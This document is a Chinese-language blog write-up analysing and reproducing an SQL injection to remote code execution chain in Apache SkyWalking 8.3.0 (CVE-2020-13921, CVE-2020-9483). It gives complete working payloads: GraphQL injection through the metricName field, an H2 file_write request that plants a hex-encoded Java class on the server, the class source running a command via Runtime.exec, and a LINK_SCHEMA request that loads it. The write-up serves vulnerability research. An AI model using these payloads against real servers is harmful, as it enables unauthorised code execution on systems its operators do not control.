Apache Skywalking 远程代码执行漏洞(CVE-2020-13921、CVE-2020-9483)

# 一、环境: 1、https://www.anquanke.com/post/id/231753 (参考文章地址) 2、https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz(下载地址) 3、...

一、环境:

1、https://www.anquanke.com/post/id/231753 (参考文章地址)
2、https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz(下载地址
3、https://www.cnblogs.com/goWithHappy/p/build-dev-env-for-skywalking.html#1.%E4%BE%9D%E8%B5%96%E5%B7%A5%E5%85%B7(源码编译教程
4、https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz(源码地址
5、https://www.runoob.com/w3cnote/java-class-forname.html(Class.forName原理解析
6、远程调试机以及攻击机(win10)、服务端(ubuntu)

二、搭建

1、解压该文件 进入bin目录,如下
在这里插入图片描述

2、Liunx启动startup.sh,windows启动startup.bat
3、启动后访问ip:8080(默认端口是8080,需要修改,可进入webapp目录下,修改webapp.yml),如下

在这里插入图片描述

4、出现下图即成功启动
在这里插入图片描述

三、分析过程

1、需先了解一下GraphQL流程以及查询语法的构造(这里我用自己的语言总结下,学的不是很深入)
GraphQL主要分为4部分分别为:
(1)root.graphqls(定义查询)
(2)AuthorQuery.java(GraphQLQueryResolver)
(3)AuthorService.java(Service)
(4)实体类Author(实体类)

整体流程:首先需要根据root.graphqls构造符合请求格式的payload,然后通过AuthorQuery.java传递给AuthorService.java,最后AuthorService.java会调用实体类Author中的方法进行数据处理,然后返回结果。

注:
root.graphqls是定义请求参数类型与格式的文件,例如下面两个句子

type Author {
    id: Int!
    name: String
    photo: String
}

定义Author中返回数据的类型

query{
  findAuthorById(id:1){
    id,
    name,
    photo
  }
}

定义query查询的格式,其中findAuthorById方法要与AuthorQuery中定义的方法一致,这样才能定位到AuthorQuery中。id:1是请求参数,id, name,photo是期望服务器的返回数据,可自行更改。注意上述两者可能在同一文件,也可能不在同一文件定义(一般是root.graphqls文件,如果不是的话,会有extend字段,要继承初始化的root.graphql,如下图)。
在这里插入图片描述
AuthorQuery相当于是接口开关,里面会有这么一段代码,相当于开启GraphQL查询接口public class AuthorQuery implements GraphQLQueryResolver AuthorService.java复制对传进数据的处理,类似加减乘除运算一样
实体类Author(实体类)一般是进行赋值作用,即对传进的参数赋值给新变量
个人理解和都可以对数据进行操作,看代码放在哪里而已。

2、跟进skywalking代码
(1)开启调试(这里使用win10当调试机)
文章开头有教程,就是把源码下载解压之后,在skywalking目录下,直接使用以下命令
./mvnw clean package –DskipTests

在这里插入图片描述然后一直等待就好了,需要完全编译成功才行,过程一般会很久

(2)编译后的文件夹会多出一个target文件夹,如下

在这里插入图片描述

(3)使用idea新建项目,选中该文件夹即可

在这里插入图片描述

(4)点击idea下运行,编辑配置

在这里插入图片描述在这里插入图片描述

一开始进来是没有远程调试的,直接点击左上角+号,添加远程端口

在这里插入图片描述

配置如下(其实主要是添加个远程主机地址和端口就可以了):

在这里插入图片描述

(5)在服务器端启动skywalking服务(记得,调试源码与你运行的源码版本需要一致,运行8.3就要下载8.3的源码去编译调试)
首先要在apache-skywalking-apm-bin的bin目录下编辑oapService.sh,添加远程调试命令,windows的就是编辑oapService.bat,如下
直接/CLASSPATH搜索即可

在这里插入图片描述

添加的命令就是上面图里的远程JVM的命令行参数,如下
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5006
(6)添加好了之后可以先直接运行startup.sh启动服务,然后再在需要的位置进行断点调试,不过我这边修改了oapService.sh之后,好像需要手动启动./ oapService.sh才能启动监听。如下,确定下端口服务都起来了

在这里插入图片描述

(7)然后回到win10的idea中,点击主页面右上角图标进行调试,出现下图即成功

在这里插入图片描述

3、分析skywalking漏洞
根据原文章可知漏洞点在oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java文件中
(1)直接在该处断点

在这里插入图片描述

(2)开启调试,发送以下payload(payload构造下面会进行说明)

{
   "query": "query queryLogs($condition: LogQueryCondition) {
        logs: queryLogs(condition: $condition) {
            data: logs {
                serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content
            }
            total
        }
    }",
    "variables": {
        "condition": {
      "metricName": "INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --",
      "endpointId":"1",
        "traceId":"1",
        "state":"ALL",
        "stateCode":"1",
        "paging":{
         "pageNum": 1,
         "pageSize": 1,
         "needTotal": true
       }
        }
    }
}

可以看到metricName 原封不动的被带进sql参数中

在这里插入图片描述

继续跟进sql,发现被带入buildCountStatement

在这里插入图片描述

跟进buildCountStatement,看看返回的结果
直接把我们的注入语句返回,然后使用executeQuery函数执行返回。

在这里插入图片描述直接把我们的注入语句返回,然后使用executeQuery函数执行返回。

(3)回溯
回到一开始,我们的注入点是在queryLogs函数中

在这里插入图片描述

往上追,看看是谁调用它的,可以看到\skywalking\oap-server\servercore\src\main\java\org\apache\skywalking\oap\server\core\query\LogQueryService.java中对queryLogs进行了调用

在这里插入图片描述但是还是看不到入口,所以还是需要继续往上追,一直到
E:\skywalking\skywalking\oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java
在这里插入图片描述可以看到一个熟悉的句子
implements GraphQLQueryResolver
实现GraphQL查询接口,所以我们可以直接构造GraphQL查询,发送至服务器
在这里插入图片描述

4、分析构造payload
(1)前面说过GraphQL查询的整体流程,四个部分我们已经找到3个了。如下
H2LogQueryDAOLogQueryServiceLogQuery
(2)现在要找的是graphqls文件,看看是怎么构造查询的
我先找了root. Graphqls,发现没有

在这里插入图片描述

直接搜graphqls,也很好猜,log肯定是,有两个log.graphqls,其实都是一样的,随便选一个看看是不是。

在这里插入图片描述在这里插入图片描述

看到queLogs函数,基本确定了。因为一般跟LogQuery.java文件中的函数会一致,过程中也不会存在其他同名函数,不然就找不到路径了

在这里插入图片描述

(3)分析log. graphqls

1、期待返回的参数,logs和total,后面是类型,有感叹号,表明为非空,就是必须有

在这里插入图片描述

2、Log匹配上面logs取值,上面的Log使用[]框柱,网上解析说是对象类型,非空的话,就只需要在Log里面随便取一个参数就可以

在这里插入图片描述

3、LogQueryCondition 看到input类型,就知道这里都是要我们提交的参数值,其中queryDuration参数可以不提交,可能是服务器那边会自动提交。(尝试提交会出错)

在这里插入图片描述

4、可以看看Duration类型的构造

在这里插入图片描述

5、enum表示后面的参数取值只能在它定义的值里面进行取值

在这里插入图片描述

(4)分析网上的payload

在这里插入图片描述
自己的理解如下

1、首先使用query表明自己的动作是查询
2、后面跟的是自己定义的函数queryLogs,这个是可以随便起的
3、($condition: LogQueryCondition)中的$condition是定义的变量,LogQueryCondition这里是变量类型
4、logs: queryLogs(condition: $condition),其中logs:是queryLogs(condition: $condition)的别名,可要可不要,queryLogs(condition: $condition)才是开始请求的构造,对应log.graphqls部分如下

在这里插入图片描述

这里的$condition对应我们上面创建的函数变量 ($condition: LogQueryCondition)
注意:LogQueryCondition类型已经在######
log.graphqls写死了,所以这里传进来的变量类型也只能是LogQueryCondition,而LogQueryCondition类型的构造在上面已经看过了。

5、接下来是data: logs,data:一样是别名,logs和下面的total都是期待服务器返回的数据,对应log.graphqls部分如下

在这里插入图片描述

其中logs对应的Logs构造如下,因为是非空,所以从里面选中一个就行,或者全部写上。(每个参数使用空格隔开即可)

在这里插入图片描述

6、variables,构造参数,此处对应的是LogQueryCondition类型的构造

在这里插入图片描述

总的来说:就是variables构造请求的类型值,也就是LogQueryCondition,然后传入queryLogs函数中,最后期待返回logs与total
还不懂就看下面的例子,自己去领悟吧

在这里插入图片描述

最后condition带的参数metricName就存在注入点,之前已经调试过了

四、复现(此处用ubuntu进行复现)

1、开启服务之前说过了
2、利用注入点上传class文件
上传前

在这里插入图片描述

上传后

在这里插入图片描述

3、利用注入点执行class文件
执行前

在这里插入图片描述

执行后
在这里插入图片描述

注:上传的class文件利用注入点执行一次之后即失效,需重新开启服务验证。

五、远程代码执行漏洞

1、根据漏洞文档:https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw
可知h2数据库中存在函数file_write(blobValue,fileNameString)
该函数作用将16进制数据写入文件中。
2、搭建本地H2数据库(下载地址: https://h2database.com/h2-setup-2019-10-14.exe),直接双击安装即可,%E7%9B%B4%E6%8E%A5%E5%8F%8C%E5%87%BB%E5%AE%89%E8%A3%85%E5%8D%B3%E5%8F%AF)
启动h2数据库,如下图
在这里插入图片描述

3、使用file_write验证可直接创建文件

在这里插入图片描述

4、根据以上编写简单class文件,如下

在这里插入图片描述

5、直接在h2中使用file_read()函数转成16进制,如图

在这里插入图片描述

6、使用以下payload直接提交

POST /graphql HTTP/1.1
Host: 192.168.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 2090
Origin: http://192.168.27.135:8080
Connection: close
Referer: http://192.168.27.135:8080/

{
   "query": "query queryLogs($condition: LogQueryCondition) {
        logs: queryLogs(condition: $condition) {
            data: logs {
                serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content
            }
            total
        }
    }",
    "variables": {
        "condition": {
      "metricName": "INFORMATION_SCHEMA.USERS union  all select file_write('cafebabe00000032002a0a000a00160a0017001807001908001a08001b0a0017001c0a001d001e07001f0700200700210100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b29560100083c636c696e69743e01000d537461636b4d61705461626c6507001f01000a536f7572636546696c6501000e546f75636846696c652e6a6176610c000b000c0700220c002300240100106a6176612f6c616e672f537472696e67010005746f75636801000f2f746d702f737563636573733132330c002500260700270c002800290100136a6176612f6c616e672f457863657074696f6e010009546f75636846696c650100106a6176612f6c616e672f4f626a6563740100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010028285b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294900210009000a0000000000030001000b000c0001000d0000001d00010001000000052ab70001b100000001000e000000060001000000050009000f00100001000d000000190000000100000001b100000001000e0000000600010000001200080011000c0001000d000000680004000300000023b800024b05bd0003590312045359041205534c2a2bb600064d2cb6000757a700044bb100010000001e002100080002000e0000001e000700000008000400090013000a0019000b001e000e0021000c0022000f0012000000070002610700130000010014000000020015','TouchFile.class'))a where 1=? or 1=? or 1=? --",
      "endpointId":"1",
        "traceId":"1",
        "state":"ALL",
        "stateCode":"1",
        "paging":{
         "pageNum": 1,
         "pageSize": 1,
         "needTotal": true
       }
        }
    }
}

7、服务器生成class文件如下

在这里插入图片描述

8、根据漏洞文档可知h2数据库中LINK_SCHEMA函数会触发类加载行为,如下

在这里插入图片描述

其中的loadUserClass函数会使用到Class.forName()去加载类

9、Class.forName()解析

在这里插入图片描述

返回一个给定类或者接口的一个 Class 对象,如果没有给定 classloader, 那么会使用根类加载器。如果 initalize 这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化。

10、再看看loadUserClass怎么使用Class.forName()的

在这里插入图片描述

可以看到initalize 为true,也就是说,当第一次使用这个类的时候,会进行初始化

11、初始化的重点在于类当中的静态代码块会被执行,所以我们把代码写进static块让它执行

在这里插入图片描述

代码如下

javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success123"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
    public static void main(String args[]) {

    }
}

注:文件名要与class名称一致,不然生成类时会报错
12、生成恶意类
javac evil.java -target 1.6 -source 1.6

在这里插入图片描述

13、最后执行payload进行RCE(漏洞文档已知第二个参数是class文件名,此处直接代入即可)

{
   "query": "query queryLogs($condition: LogQueryCondition) {
        logs: queryLogs(condition: $condition) {
            data: logs {
                serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content
            }
            total
        }
    }",
    "variables": {
        "condition": {
      "metricName": "INFORMATION_SCHEMA.USERS union  all select LINK_SCHEMA('TEST2','TouchFile','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --",
      "endpointId":"1",
        "traceId":"1",
        "state":"ALL",
        "stateCode":"1",
        "paging":{
         "pageNum": 1,
         "pageSize": 1,
         "needTotal": true
       }
        }
    }
}
  • 发表于 2021-11-26 09:32:08
  • 阅读 ( 7605 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
菜菜子
菜菜子

1 篇文章

站长统计